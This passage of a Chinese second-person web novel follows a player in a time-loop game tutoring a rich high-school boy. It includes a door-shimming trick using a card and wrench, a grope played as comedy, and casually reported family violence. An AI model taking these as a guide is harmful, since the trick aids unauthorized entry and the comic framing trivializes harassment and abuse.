齿尖戳进又脆又酥的外皮，发出让灵魂都为之一颤的“咔嚓”声，内里柔软多汁，肉汁又烫又香，你从来没吃过这么好吃的炸鸡！
好吃到你的双眼亮得炯炯有神！
你一口炸鸡，一口可乐，一口炸鸡，一口可乐，把自己吃了个神清气爽。
你摸着鼓溜溜的肚子，看了眼时间：
【01:31:36】
你的任务目标会在倒计时一小时十分钟离开别墅，也就是说你最多还有二十分钟。
原本想放弃的你觉得可以再努力努力。
只要你在二十分钟内出去，说不定真有机会追上任务目标逃跑的车屁|股。
到时候，你要把他按在车里，狠狠上足一个小时的课！
你麻溜站起身，江洋大盗般四处翻找起来。
你的目标是工具箱。
你记得你家里常备一个小型的修理工具箱，如果你可以在这里找到类似的，或许你可以尝试撬锁？
你把浴室里、外间所有的柜子都翻找一遍，除了各种型号的毛巾、浴巾、洗漱用品，一无所获。
找到最后，你甚至打起了牙刷的主意。
你记得欧美越狱剧里缺乏工具的主角们可以用磨尖的牙刷杀人、撬锁。
你凭借模糊的记忆，学着主角在墙角磨起了牙刷。
两分钟后，你磨得手都红了，牙刷柄还是牙刷柄。
你识趣放弃了这个奇思妙想。
你又想到柜子里那一摞摞整齐叠放的白色、灰色、各种型号的毛巾浴巾，或许你可以把它们连成一条布绳，拴在哪里，像火灾逃生那样顺着窗户从三楼溜下去。
但当你再次打开窗，伸头向下张望，恐惧已经替你拒绝了这个只属于勇敢者的方案。
你又想到把花洒头卸下来当锤子用。
你再次走进淋浴间，然后发现淋浴间里的花洒是一体式的，无法拆卸……
你的想法一个个冒出，又一次次被现实否决。
当你看着手机上的倒计时从01:11:00变成01:10:59，你彻底放弃了徒劳的挣扎。
现在你即使出去，任务目标也已经离开。
你猜，十分钟后，因为可用的家教辅导时间不足一小时，你会被判定失败，游戏将再一次重启。
你坐回浴缸旁，吃起了剩下的鸡腿，等着被送去下个回合。
“凉了的鸡腿、跑了气的可乐和落汤鸡一样的你~”
你口中哼着不成调的曲，啃着味道打了至少五折的炸鸡，玩着浴缸里的玫瑰花瓣。
你吃着玩着唱着，或许是没了时间的压力，你忽然想明白乍见这一缸玫瑰花瓣心底升起的怪异由何而来？
放满这样大一个浴缸的水不是你从一楼走到三楼那点儿时间就能完成的。
那和这间浴室清一色男士洗护用品格格不入的玫瑰花瓣是……障眼法？
是安抚你的又一颗甜枣？
又或许……是明晃晃的挑衅？
你有一点可以确定，这一切在最开始就准备好了。
什么因你可爱忘记了门上的水盆、体贴用手帕帮你擦拭湿发、和女管家的对答……
简直是一环又一环，大环扣小环，丝丝入扣。
你的任务目标还真是演技精湛！
十分钟后，当闪着金光的「GameOver」凭空出现在铺满浴缸的玫瑰花海上，你咬着下唇让自己不立马陷入眩晕。
你对着如血般鲜艳的玫瑰花瓣，像发誓一定要回来的灰太狼一样咬牙切齿：
傅同学，下回合我们来一起洗澡吧！
13. 男高家教挑战（6）
眩晕感消失，你再次睁开眼。
毫不意外，你第三次站在盘山公路上，两手扶着浅粉的自行车。
这次，你没着急骑上车就走。
你需要些时间，思考几个待解决的问题，沉淀一下刚过去的上回合。
于是，你一边在脑中复盘，一边走流程般重新检查起了身边的东西。
你曲起指节，扣了下再次完好的奶茶塑封。
智斗“雨果”小boss的工具get。
你打开地球图案的帆布袋，里面还是一个笔袋、一个巴掌大小的卡包、一个笔记本、一部手机。
你翻开卡包，再次看到那张证明“你”是英文系大二学生的学生卡。
隔着透明的卡封，你弹了下学生卡上“你”一本正经的脸，明明和你是同一张脸，但证件照里的“你”看起来好正经，怪不得能来当小老师，你调侃“你”。
你又拿出笔记本，翻看“你”精心准备的上课内容。
你拿出手机，再次翻看之前的微信聊天记录，这虚伪的礼貌和客套像极了某、个、人。
你就这样一样样查看下去，看完帆布袋，又检查起自行车，再次翻到那个修车用的工具箱。
你随手翻开工具箱。
一个银色的扳手赫然出现在眼前，你打开工具箱的动作一顿。
这一瞬，你有种洞口有光、豁然开朗的感觉——
原来，撬门的工具在这里。
原来，学生卡的真正用途在这里！
原来，游戏一开始就给你提供了撬门的所有工具。
带着特定的问题去思考，果然有了令人眼前一亮的意外效果。
最大的问题得以解决，你不再耽搁，骑上自行车往别墅区飞去。
这一次，你不再需要奶茶给予的糖分，光是想到要再次见到你的任务目标，你就干劲十足。
不要说就这三公里路，就是十三公里，你都不带喘的！
你轻车熟路过了门卫那一关，进入别墅区，来到6号别墅前。
你豪迈推开那扇虚掩的门，抬眼望见飞扑而来的“雨果”。
有了上回合一起玩耍的情谊，你不再害怕飞扑而来的它，变魔术般从包里掏出奶茶，丝滑插上吸管，和“雨果”玩儿起了喷水游戏。
比起上次心怀忐忑，你这次是真的和“雨果”玩了起来。
“雨果”在你周围左扑扑右跳跳，你看它可爱，在红茶汤即将告罄之际，还给它转了个360度的水圈……
一声喜怒不辨的“雨果！”打断了你们的欢乐时光。
雨果闻声转头看去，你则抬起头，迎着阳光，准确找到了站在台阶上的人。
你心心念念的傅、同、学。
游戏开始了，你对他无声说。
雨果怏怏耷拉着耳朵，一步一晃走在前，你不紧不慢跟在后。
你们一狗一人，一前一后朝他走去。
你在台阶下站定，仰头看他，目光里是掩饰不住的热切。
他如上回合自上而下看你，眉眼唇鼻俱是飞扬的桀骜。
这才是他真正的面目吧，你不由想。
你迫不及待开口：“傅、同、学。”
他显然不懂你心中强烈的感情，明显迟疑了下，才念出属于他的台词：“苏老师。”
相比你念他名字的字字缱绻，他则慎重许多。
但他很快敛了眉眼间的迟疑，冲你礼貌勾起一抹笑，说：“苏老师，我可站在这里恭候你许久了。”
你等这句话也许久了。
于是，你微笑看着他，说了句：“乖~”
不出你所料，他又在你面前表演起京剧变脸，只是这次似乎有些技艺生疏。
你在他的笑着的眼里看到了惊恐。
“雨果”似乎嗅到了你们间的气氛不对，这次没等召唤，自发走到主人腿边，乖巧蹲好。
你看他弯下腰，手搭上“雨果”的头，修长的五指在金黄的长毛间抓了抓，又抓了抓。
他把你抓得耐心告罄，却始终没仰起脸、嘴角噙笑说出那句“老师，你看我没说错吧？我的‘雨果’一看到你，都迫不及待冲上去欢迎了？”
你俯视的角度，他纤长的睫羽帘幕般低垂，之前和你说话时总是上翘的嘴角如今和宣告死亡的心跳检测仪一样。
一波不起。
你有些遗憾，本来你都打算好了，听到那句话后蹲下去给他们一家两口一个大大的拥抱。
你眼看他要把“雨果”的头发抓秃，清了清嗓子说：“我们赶紧上课吧。”
他在“雨果”头上作祟的手终于停下，直起身看了你一眼，说：“好。”
你问：“上课的地方在哪里？”
他侧开了些身，指了下后面：“我的书房在二楼。”
你准备等他说完“当然，老师要在我的房间上课也是可以的。”再往前走，可惜，这句也被他吃了。
你们两人在原地大眼瞪小眼，你是小眼。
时间有限的你只好先行一步，路过他时，你头也不回扔下句：“傅同学，跟上吧。”
“好的，苏老师。”他板正回答。
你听到身后响起一人一狗跟上来的脚步声，手搭上门把，作势用力向下压，却没压下去。
你转头，对落后一步站着的他疑惑道：“门怎么好像卡住了？”
他愣了下。
你挑了下眉：“那你来试试？”
说着，你向旁边让开一步，抬头眼巴巴望他大显身手的模样。
或许是他心中有鬼，躲开了你殷切的视线，向前迈一步，手朝门把手伸去。
你看准时机，在他手搭上门把手的那一秒覆上他的手。
你感觉手下的手瞬间僵硬。趁此，你的脚不动声色横进他一前一后的两脚间。
紧接着，你手用力向下一压，膝盖一抬朝他前面那条腿的腿弯用力一顶，手带着他的手向前一使力，门被打开的同时，他也顺势向前跌进去。
你落后一步跟着跌进去。
于是，他被兜头而下的水砸了个正着，你只象征性湿了个肩膀。
他满头满脸的水震惊转头看你。
你却惊讶捂住嘴：“咦，门怎么一下就开了？我还寻思帮你一把。”
你在他湿漉漉的狐疑目光中四处张望，口中念叨：“哪里来的水呢？”
他不自在躲开眼。
你在看到作案工具的下一秒恍然大悟，却不甚在意点点头，轻描淡写说：“没关系。”
他听到你的话再次打量起你。
你在他审视的目光中走近他，阳光下，你们近到鞋尖只有一寸的距离。
然后，你朝他伸出了手，探进他的裤兜。
他盯着你在他右侧裤兜里动作的手，瞪大的眼里震惊、诧异、不可思议轮番上演。
你则在他滚烫到下一秒仿佛要灼尽那层黑色布料的盯视下，不紧不慢捏出了他的手帕。
他屏住的呼吸还没来得及恢复，你举起那方手帕，踮起脚尖帮他细心擦起了湿漉漉的发丝。
你想，他一定心潮澎湃，因为你看到他漂亮的浅棕瞳仁追逐游靶一样一直追着你的脸。
你微笑着一缕缕拭干他的发丝，慈祥的恍若烛光里密密缝的母亲。<
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就让他这样怀疑你又忍不住为你的贴心动容；猜忌你又怕错怪了你；沉迷这刻的温馨又忐忑这或许是虚伪的障眼法……
像上回合此刻的你一样吧。
你手上的手帕落到他肩头，他肩头的冷水早已洇湿了他的皮肤，你擦了几下，发现于事无补。
“浴室在哪里？”你放下手臂问他，“你先去洗个澡吧。”
你的突然开口，仿佛冷水滴进了表面平静的热油锅，炸起的油花打破了你们的静谧。
他迅速后退一大步，夺走你手上的手帕，你诧异看向突然动作的他。
他看看你，又低头看了眼手中的手帕，最后视线高高越过你，朝里面喊：“王妈！”
他口中的“王妈”来得很快，正是上个回合带你去浴室的女管家。
你有些意外。
看过很多霸总小说的你，没想到还有这般年轻的“王妈”。
没等王妈开口，他便有些烦躁说：“带她去盥洗室。”
他上下打量你一眼：“再给她准备套衣服。”
他都不客气称你“苏老师”了，看来心情不大好啊。
不过，你也不打算和他计较。
毕竟，你要去吃好吃的炸鸡了！
女管家和上回合一样，露出些为难，不过这次没等他发问，麻溜把问题说出来：“小少爷，这里只有您和大少爷的衣服，没有可供这位小姐换洗的衣物。”
他眉头蹙起，不耐烦道：“那就打电话叫人送来几套新的，这还要我教你。”说完，他转身就走。
你望着他写满“小爷不爽”的背影，对还站在原地的女管家说：“我们也走吧。”
说完，也不等她动作，跟上了前面大步生风的人。
你在他准备上楼前追上了他，却不是要和他一起走。
你慢悠悠缀在他身后上楼梯，踩着木质楼梯上他被阳光拉得长长的影子……的头。
你的脚步声如影随影。
你注意到快步跟上来的王妈在你身旁几度欲言又止，看看斗牛般冲在前面的人，又咽了回去。
你看他在二楼向右转了弯，向深处走去，便心满意足跟着女管家继续往三楼走。
你再次被带到了那扇你花样百出也没成功出去的门前。
你微笑打开了门，昂首挺胸走进去。
你慢悠悠走到浴室尽头落地窗前的浴缸旁，低头看着娇艳欲滴的玫瑰花瓣，脱下衣服，迈了进去。
温热的水瞬间包裹了你。你眯起眼，好舒服。
这次，你不再需要像雪姨一样疯狂拍门，因为你知道不会有人来帮你开门，能打开那扇门的只有你自己。
你拿起放在浴缸边的手机，对着身前铺满玫瑰花的浴缸拍了张照片。
你检查了下照片，画面里只有银灰色的浴缸、鲜红的玫瑰花瓣和你特意从玫瑰花中露出的“比耶”的手指。
非常安全。
你打开微信，点开之前的聊天，发去照片：
「傅同学，感谢你为我精心准备的玫瑰花泡澡水。爱心jpg.」
「我还想要韩式炸鸡，甜辣口味和芝士口味双拼，再来一罐冰可乐，可以吗？比心jpg.」
发完，你放下手机。
三分钟后，你的手机震动了下，你点开一看，果然是他。
回复只有一个言简意赅的：
「好。」
你不要钱似的连打了十几个「爱心jpg.」，一齐发送过去。
你对着手机屏幕上哑巴了的那头，勾起嘴角：
小屁孩，再和你放肆？也不看看到底谁大谁小？
14. 男高家教挑战（7）
落地窗前的浴缸里，你惬意仰躺在温热的水中，露出玫瑰花面的手臂伸长……
不要钱似的，一泵泵压着你从淋浴间拐来的沐浴露瓶。
啊，好好闻。
你知道炸鸡要等上一段时间，因此并不着急。
浑身涂满绵密的白色泡泡后，又把剩下的泡泡团成一小团一小团放在玫瑰花瓣上，并美曰其名“玫瑰糯米糍”。
你煞有其事拍了照留念。
其实，你也想把这张照片传给傅同学。
但你念他还小，到底是放过了他。
说起来，刚才你传过去的那张照片，比起比“耶”，你更想竖中指。
竖中指“不是女孩子该做的”在你心中根深蒂固，你也记不起到底是老师、还是父母种下的观念。
你现实中见过几次别人竖中指，虽然不是对你，你总是下意识觉得这不礼貌，又隐隐觉得这种敢于直抒胸臆有点儿……小酷。
你非常偶尔想试试。
如果现实也像游戏能重来，也不会留下记忆，你想回到电梯里，在女同学对老师说“老师，你也帮我劝劝她。上大学光知道闷头学习可不行，对吧？”后，对她竖起中指，硬气地说一句“关你屁事！”
你想得正爽，熟悉的机械噪声在耳边响起，你隔着白纱帘朝外看去。
原来，是你的炸鸡食盒正从天而降。
咦？怎么这么快？
你推测，可能是这次你没在门后严阵以待，精神很放松，所以时间过得更快些。
你围上浴巾，拉开白色纱帘，打开窗，取下你的炸鸡食盒。
这次，一切顺利，你心情大好，还很有礼貌和无人机说了“拜拜！”
你围着浴巾，大喇喇在窗前席地而坐，吃起了炸鸡。
啊啊啊啊啊，怎么感觉更好吃了？
好吃到你露在浴巾外的肩胛骨要长出一对大翅膀来！
果然是人逢喜事精神爽，吃嘛嘛香。你又如法炮制了柠檬冰可乐，一口下肚，天上的神仙都比不上此时的你！
你风卷残云般扫荡完，换上自己原来的衣服，找出学生卡和银色扳手。
你把扳手帅气别进后裤腰，走路带风，朝上局狠狠困住你的大门而去。
你尝试开了下门，不出所料，门如上一回合被从外上了锁。
你把学生卡插|进门把手旁的门缝里，用扳手把学生卡不断往门缝里锤，锤了不过七八下，啪嗒一声，门自动弹开了。
果然，普通的室内门这个方法真的可以！
你前一阵子看新闻，一个小偷用这个方法尝试撬别人家的防盗门，结果门没打开，还被可视门铃拍到了脸，因此被抓，视频也被放上了新闻。
你当时脑中一闪而过：这撬门的方法十有八九是可行的，他出来行窃前肯定私下尝试过，而他之所以失败大概是他挑的这家防盗门难度过高。
事实证明，换成难度一般的普通门锁，果然可以。
上回合，你之所以没想起这个，大概是小偷用的是锤子和白色的硬质卡，你当时手上并没有一模一样的道具，外加当局者迷吧。
你推开门，谨慎探头出去，却并没在走廊看到上回合声称“会一直守在门外”的李管家。
你本来还有点好奇他的模样呢，可惜了。
他上回合那么说难道是想“震慑”一下你？
你想不明白，索性不去想。
少了他也好，不然你肯定还要和他费上一翻唇舌。
你顺利走到楼梯口，没遇到任何人。
你沿着楼梯下到二楼，朝右手边走廊深处走去。
你脑中回忆着刚才上楼时看他停下的位置，你也在附近停下。
你打量着一左一右两扇门。
一扇门虚掩着，另一扇好好关着。你从着敞开的门缝窥进去，虽然视野有限，你还是轻易认出这是间浴室。
他是忘了关门……还是？
你顺着门缝向下看去，这时，你才注意到脚下的地毯上有几处斑驳的深色。
你蹲下身，在深色处摸了下，是潮湿的，大小看样子也是鞋印大小。
于是，你顺着一路深色的水渍找到一扇门前。
你手搭上门把，感受到上面残留的湿意。
盯着面前紧闭的门，你仿佛看到他冲完澡后匆匆擦干、一路走来推开这扇门的场景。
你屈起指节，扣了扣门，扬声对着里面说：“傅同学，我进来了哦？”
话音刚落，你贴在门上的耳朵就听到里面传来一阵兵荒马乱的响动。
果然是他。
你猜他在里面忙着整理仪容仪表。
你好心在外面给他倒数十个数：“10、9、8、7……”刚数完“3”，你一把推开了门。
入目便是提着裤子一脸诧异抬头看你的傅同学。
他哑了三秒，才义愤填膺喊出：“你怎么数到3就进来了？！”
他上身穿着长T，再加上他此时是弯腰的动作，除了他的一截大长腿，你什么也没看到。
“抱歉。”你不慎走心说，然后慢悠悠背过身示意他继续。
身后窸窸窣窣响着，你打量着周围，这里似乎是他的衣帽间，你拖长语调接着倒数“2——1——0——我现在可以转过身了吗？”
“可、以。”你听他咬牙切齿。
你转过身。
他似乎心有余悸，不知从哪里找来个黑色的腰带，紧紧扣在了运动短裤的腰间。
过于违和的搭配，你忍不住又朝那里多看了两眼。
他似乎应激了，两只大手立马交叠捍卫在腰际。
你不解看向他的脸，如火如荼的红正从他麦色的面皮蒸腾而出。
你：“？？？”
你怎么感觉他把你当成了调戏小媳妇的恶霸？难道是你发的那张照片给了他错觉？
不过你还挺喜欢他这个反应的，有点……可、爱？完了，你竟然能共情恶霸了……
他鼻子不停往外喷气打断了你道德的进一步滑坡。
你把他把自己憋死，主动问出口：“你想说什么？”
他积羞成怒：“苏老师，你怎么能偷看我换衣服！”
真是这好大一顶黑锅……但你并不打算为自己解释。
你：“你擅自锁我的门，我可是打了招呼才开你的门。”言下之意，不言而喻。
被戳到痛点，他一秒哑火。
“不过，我大度。”你冲他摆摆手，“不和你计较这个。”
“咱们是去你书房上课，还是就在这里？”你体贴给了他选择，说着，你打量起周围，寻找个能学习的地方。
他盯你一会儿，发现你企图对他的手表收纳柜不轨，才不甚情愿吐出：“去、书、房。”
你用眼神示意他“走吧。”
他却
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不动，眼神示意“你先走”。
你也不动，眼神告诉他“别以为你不知道他又在动歪脑筋。”
你们眉来眼去，好一顿眼神官司。
后来，你把肩上的帆布包往他看起来价值不菲、且破费心思的手表收纳柜上一放，他立马放弃挣扎，朝门外走去。
你快步跟出去，一步不离跟着他。
***
书房里。
书桌前，你们一左一右并排坐下，你心中有些恍惚，这回合你就这么容易……要完成任务了？
事实证明，你想多了。
他拿出要你讲的英文试卷，你扫了一遍，准备从他红叉最多的完形填空讲起。
你学着高中英文老师讲完形填空的流程，让他先读一遍文章。
他一开口，你错愕看向他。
你盯着他的脸，看卷子上枯燥的英文从他开合不断的两瓣唇间如歌般流利而出，面上不动，内心早已翻江倒海：
就他这纯正的伦敦腔，你能教他什么？教他怎么磕绊说中式英语？
你现在逃跑还来得及吗？
你真不好意思在他面前讲英文啊，呜呜呜呜……
尤其是你此前还拿足了老师的款儿……
你生无可恋垂下头。
你在心里尝试安慰自己，天道好轮回，苍天饶过谁？谁让你之前那么嚣张？上回合没撕破脸，他装的那么有礼貌，那么尊师重道肯定不好崩人设，大喇喇嘲笑你……
这回合，你玩得这么欢脱，换成你是他，肯定、肯定不会放过这个报仇的机会啊！
你安慰不了自己了，你现在很后悔，后悔自己只顾一时爽……
“苏老师？”他突然停下来叫你。
你耷拉着头“嗯”了下。
“你的胸那么平，有什么值得一直看的？”他一腔疑惑问。
他说你平！！！！！！！！！！！！
你瞬间怒了，你平归平，但你不允许别人说！！！！！！！！！
死小孩，毛都没长全还敢说你平！
平怎么了？吃你家大米了！你炸了，一巴掌拍上他屁|股，在他仿佛被惊天巨雷劈中的表情中，对着他恶劣勾起嘴角，张开五指……
抓了抓。
他垂死病中惊站起，你眼疾手更快，跟着他一同站起，手又贴上去。
圈椅被他过激的动作弄得咕噜噜向后滑去，与此同时你的手又抓了下，你看他如同见鬼的表情，缓缓道：
“的确比不上你，你、真、翘！”
说完，你翘首等他反击。
他却迟迟未有言语。
你盯着他看，难道你把他吓傻了？他一个大男生，不能这么脆弱吧……
渐渐，你察觉到了不对。
他见鬼看着的方向似乎越过了你的头顶。
你心下一凛，慢慢转过身，顺着他的视线望去。
逆光中，你看到敞开的门口不知何时多了道高大人影。
大半轮廓掩在走廊的暗影里，只露小半边脸，反光的镜片看起来森冷无比，直直看向你们。
你听到身后传来一声艰涩喑哑的“哥……”
你低头，不敢置信抬起自己前一刻还贴在某人某部位的手，脑中天雷滚滚。
完了，你求仁得仁，上把游戏求的“仁”，这把来了！
你这次怕是真要见警察了……因为性、骚、扰？
15. 男高家教挑战（8）
你不知何时藏去身后的手竖起三根手指。
你指天发誓：这是你玩这个游戏最最最最想原地消失的一刻！
从前你说的那些次都不算，这次绝对、绝对是真的。
上帝啊，天神啊，玉皇大帝啊，佛祖啊，啊还有什么？哦，巴啦啦小魔仙啊，无论你们哪位尊驾听到都可以，助你原地消失吧！
你虔诚念完，眼睛小心翼翼撑开一条缝——
然后，你发现自己不仅在原地，门后阴影里的人还走了出来。
炎炎夏日，男人一身挺括的西服从脖子板正包到脚踝，露在外的脸则是惹眼的白。
他朝你们走来，却未当真把你们看在眼里。
他视线漫不经心落在抬起的左腕，右手长指不紧不慢挑开腕上的西服袖扣，“啪嗒”一颗，“啪嗒”一颗，你忐忑的心自动为他不合时宜的优雅配着乐。
你如同追光的摄录机，一路追着他的动作。
看他松了表扣、褪下腕表、妥帖收进西服内袋、又挽起一叠袖口……
傅同学他哥这是在干吗？
你正疑惑着，人已经来到你们面前。
你心怀侥幸，他或许什么也没看见，于是你埋头准备不要脸地装傻充愣。
他哥要是真报警，你就一把抱住他哥的大腿嘤嘤嘤哭。
虽然你没试过嘤嘤嘤，但这都什么时候了？你不行也得硬上！
你心里胡乱酝酿着，一时间什么张良计、过桥梯，什么都想扯来试试。
突然，一声无比响亮的“啪”在你头顶炸起。
你震惊仰头看去——
只来得及看清男人落下的手腕和傅同学被打偏过来的右脸。
你两只5.0的大眼吓得一眨不敢眨，把傅同学右脸上火速浮出巴掌印的过程看了个清清楚楚。
你默默咽下过度分泌的口水：“！！！！！”
五根红指印根根分明，烙铁烧上去的似的。
这是哥……吗？
是哥斯拉吧！
相比你没见过世面的无能震惊，傅同学的表情很平淡，俊脸连个褶儿都没打，好像被狠狠扇一巴掌的是你。
不是他。
“傅谨言，”男人不咸不淡开口，“再有一次让我看见你对异性言语轻挑，就不止是一巴掌了。”
原来傅同学叫傅谨言。
但你没有为终于得知傅同学的名字而开心，也没有感叹傅同学名字好听的闲心，你机警捂住自己靠近男人的脸。
傅同学不过说你一句胸平，就挨了一巴掌？
啊啊啊啊啊，你摸、摸了傅同学的屁|股，这张脸这回合怕是无法囫囵个回去了吧？
等等，傅同学叫傅谨言，他哥不会是那个虐文界鼎鼎有名的傅慎行吧？
男人似乎不耐被告诫的人没及时回应：“说话。”
傅谨言回教官话一般大声：“记住了！”
你羸弱的小身板被吓得一激灵。
男人好像这才注意到书房里还有一个你。
偏身朝你看来。
你的手还没出息挡在脸上。
脸太大了，捂住致命的太阳穴就得露出下巴，此刻十分捉襟见肘。
受不住男人迫人的审视，你准备悄悄向后退走，面前却陡然一暗。
被打时始终站在原地的傅同学突然横过半个身子挡在你面前。
慑人的视线被彻底阻隔。
傅同学横挡在你面前，肩胛骨微顶出雪白的T恤。
这一刻，你仿佛看到一对雪白的天使翅膀从上面绽出。
你听身前人低低唤了声：“哥……”
你窝在傅同学身后，把这声“哥……”放在舌尖好生咂摸了番，觉得其中意味，实在深长。
你鹌鹑般，悄悄从傅同学的左肩冒出个小小的头盖骨加眼睛，就听居高临下的男人鼻腔哼出一声意味不明的笑：
“你小子以为我要干什么？”
你身前的傅同学不吭声。
你在心中为他摇旗呐喊。
你看男人的下巴随即朝左边抬了下。
然后，傅同学便……让、开了？？？
你重面大boss的那一秒，对傅同学短暂的滤镜哗啦啦碎了一地。
怎么能这么轻易抛弃队友？
死道友不死贫道，你捉急的脑子自问自答，就见大boss对你露出一抹笑。
你这才注意到男人的外貌。
极为出挑的外貌。
男人年轻，但又和傅同学不同。
傅同学的年轻充满了向日葵般富有生命力的青春气息，这个男人的年轻是他长着一张生理性年轻的脸。
冷白的皮肤，浓黑的眉眼，整张脸毫无岁月洗礼的痕迹。
他们兄弟细看是有些相似的。
鼻子都是又高又挺，唇又很薄，五官轮廓立体，但如果不摆在一起对比，气质上的天差地别绝不会让你联想到他们是一对兄弟。
他似乎察觉到你在悄悄打量他，却并未阻止，脸上始终挂着那抹温和矜持的笑任你打量。
你对上他金丝镜片后浅浅勾起的眼尾，甚至生出种他在鼓励你的错觉。
如果不是刚才那声巴掌“言犹在耳”，你怕是会以为这是个温柔优雅的绅士。
你这下明白傅同学的变脸功夫师承何人了。
不过，他的师傅显然技高不止一筹，若不是前一刻他“主动”戳破，你怕是一点儿都察觉不到。
这一秒，你福至心灵，是个体面人！
体面人大抵是不爱撕破脸的，不要怕，你只要厚着脸皮陪他演下去就行。
你试探开口：“傅先生？”
“苏老师，久仰。”他笑容更深了些。
第一句就让你卡克了：“？？？”
久仰你什么？
你有什么值得他久仰？
你都不好意思拍马屁说“久仰他”，他是怎么好意思面不改色说对你“久仰”的？
这种虚伪的客套你实在不会接啊。
他似乎觉察了你的窘迫，主动继续说起来：“小言有些顽劣，今日之事，还希望您能稍担待些。”
他别有深意顿了下：“当然，我知道这种事只是口头上的道歉远远不够。”
你听得不明就里，蓦地眼下被递来一张名片。
“这是我的名片。稍后，您休整好心绪，可以把您的银行账户发过来，我十分希望能够略表些心意。”他见你不接，又补充道，“当然，苏老师有什么别的想法也尽可以提出来，只要在我的能力范围内，定然会让苏老师满意。”
你怀疑你是张着嘴听完这番话的。
毕竟，你长这么大，从来没人这么恭、敬和你说话……
你其实并不知道该怎么形容他和你说话的方式。
你脑袋有点儿空白，不知道这是什么套路，你求助地看了眼一旁的傅同学。
傅同学朝你略点了下头，从他哥手中接过名片塞进你手中，并借着转身之际，飞快在你耳边用气声说：“我哥特别有钱，你可以大敲他一笔。”
你则尴尬看着站在你们两人跟前的他哥，男人和你几乎是脚尖对脚尖的距离……
你私以为这些掩耳盗铃之言他哥听得
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清清楚楚。
你尴尬笑着。
男人嘴角噙起笑，对你说：“小言说得也没错。”
你也不知道他口中的“没错”是指前半句还是后半句，还是大度地直接肯定了整句。
男人问你：“苏老师，您还方便继续为小言上课吗？”
你终于想起了你最重要的事，立马点头如捣蒜：“上上上。”
你头顶拂来一声带笑的气息，他似乎……
是被你逗笑了？
“对对对，我们还得上课。”傅同学仿佛终于找到了光明正大插嘴的理由，“哥，您赶紧去忙您的正事吧。”
你乖巧在对面用眼神表示赞同+1。
男人：“那就不打扰苏老师上课了。离开之前，我还有个不情之情。”
你着急送客，赶忙点头：“您说？”
“今天的事，”男人顿了下，“还希望您能帮忙保密。”
原来是为了堵你的嘴，早说啊，害你东想西想一大堆！
你连忙应承下来，成功送走了这尊大神。
关上门，你们一左一右倚在门后，谁也没开口，仿佛刚刚共同经历了大难，彼此心照不宣享受着片刻的安宁。
你们谁也没说话，但望向彼此的眼中却有千言万语。
“没吓到你吧？”傅同学突然问你。
你敷衍笑了下。
他盯着你的脸，似乎在分析你的表情。
你则于心不忍盯着他脸上还未褪去的巴掌印：“你的脸，疼吗？”
他闻言愣了下，大掌覆上自己的左脸。
你：“……错了，是另一边。”
他忙不迭把手换到另一边脸去，随意蹭了两把：“如你所见，都忘记是哪边了，一点儿都不疼。”
你突然怀疑他刚才是故意弄错了。
“真的！”他一下子拔高音量，“我哥都留了力的。早些年，我爸扇我哥，都是嘴角见血，那才是真的疼。”
你表情实在一言难尽。
“你别误会，我爸只打我哥和我，不打我妈的。”他不知想到了什么，嘿嘿一笑，“我哥就只打我。”
你：“……………………………………………………”
“你哥是不是叫傅慎行？”你真好奇了。
傅同学被问得一脸莫名其妙：“傅慎行是谁？”
看来他哥不是那个bt的傅慎行，你放心下来。
你不知道这个游戏世界有没有《掌中之物》这本小说，随口敷衍道：“一个有钱的霸总。”
“那他肯定还够不上有钱。”他了然点下头，“在海城，我压根没听过这号人物。”
“……也姓傅？”他捏着下巴又琢磨起来，“难道是傅家哪个旁支搞出来的上不得台面的私生子？”
你赶紧打断他跑偏的脑回路：“那你哥叫什么？”
他的目光在你脸上来来回回溜了不下三圈，才指着你捏在指间的名片：“我哥不是给了你名片？”
你拍了下脑门。
你怎么会问这么蠢的问题？
你把名片举到脸前，准备好好看看他哥到底叫什么。
下一秒，傅谨言俯身挤在你脑袋边，和你一起看起他哥的名片。
他修剪干净的指尖伸到你脸前，你又嗅到了他指尖淡淡的薄荷香。
你看他依次点过名片上的「傅谨越」，问你：“是哪个字不认识？”
他：“别害羞，说出来，我教你。”
你深吸一口气，好想也给他来一巴掌。
“傅、谨、越……”你咬牙切齿，“他、弟，上、课、了！”
16. 男高家教挑战（9）
你们坐回桌前，默不作声看向彼此。
你望着他澄澈无害的眼，生出种错觉：
刚才门后那场短暂的斗嘴，是他心照不宣的活跃气氛。
“看什么？”他支着下颌，斜挑起单边眉，“被我帅晕了？”
“嗯。”你郑重点点头，“被你帅得五迷三道。”
他支在桌沿的手肘pia一滑，帅气看你的pose瞬间垮塌。
你只作不见，转身拿起桌上的笔，在卷子上敲两下，一本正经宣布：“开始上课了。”
你余光瞥见他不尴不尬调整了姿势，正面对着书桌坐好。
你对着英语试卷从头讲起来。
几道讲下来，你很快发现他错的都是语法。
你问了才得知他在英国念过几年小学，后来长大些，寒暑假也经常去外国度假或上个小学期。
他听说读写和英语母语者差不多，至少是你看不出区别的程度。
语法也和英语母语者差不多糟糕，毕竟人家平时也用不到这些深奥的语法。
他挺聪明的，不明白的语法点，你给他掰开了解释，他很快能听懂，你教起来也不费力。
但你能看出他并不爱学这个。
其实你也能理解，毕竟你也不想听外国人给你一本正经讲中文的“的、地、得”的区别，这个空格里是该填“立刻”、“一会”、“等会”还是“马上”。
在你的理解和他的配合下，书桌前的你们仿佛再普通不过的家教和学生，对着桌面流淌的阳光一问一答。
时间过得飞快。
你最开始担心的他嘲笑你发音的情况也不曾发生。
你问他。
他倒反问你：“你是中国人，说英语有口音不是很正常吗？”
他看你愣住，又贴心给你举例：“澳洲人说英语也有口音啊。”说完，还给你绘声绘色模仿了段。
不想，他的多才多艺被一阵敲门声打断。
他怨念瞥去一眼，不情不愿喊了声：“进——来。”
是给你送换洗衣服的。
一套MiuMiu的浅粉小套裙、同色系的MiuMiu平底鞋、一个看起来就软乎乎的同色系挎包。
原来，第二回合你一直没见到的衣服长这样。
傅谨言板脸让人赶紧放下出去，别耽误他上课。
门一关，他立马翘了下巴看你：“怎么样，我亲自选的？可爱吧？”
可惜了，这么贵的东西，你一样也带不回去。你甚至都没时间换上它们过过瘾，你还得继续上课。
“可爱，可爱死了。”你带着怨念回，“赶紧上课吧！”
“我见你的第一眼，就觉得你穿成这样一定很可爱。不喜欢吗？”他困惑地十分真实，“我看她们平时都爱穿这个啊？”
你不好奇他口中的“她们”是谁，巴掌一拍，当然，是拍桌子，专横道：“上课！”
你们又其乐融融上起课来。
你讲得嗓子有点干，看了眼手机上的倒计时，上课时间还有十分钟。
他像是知道你心中所想，问你：“你喝了吧？”
你：“有点儿。”
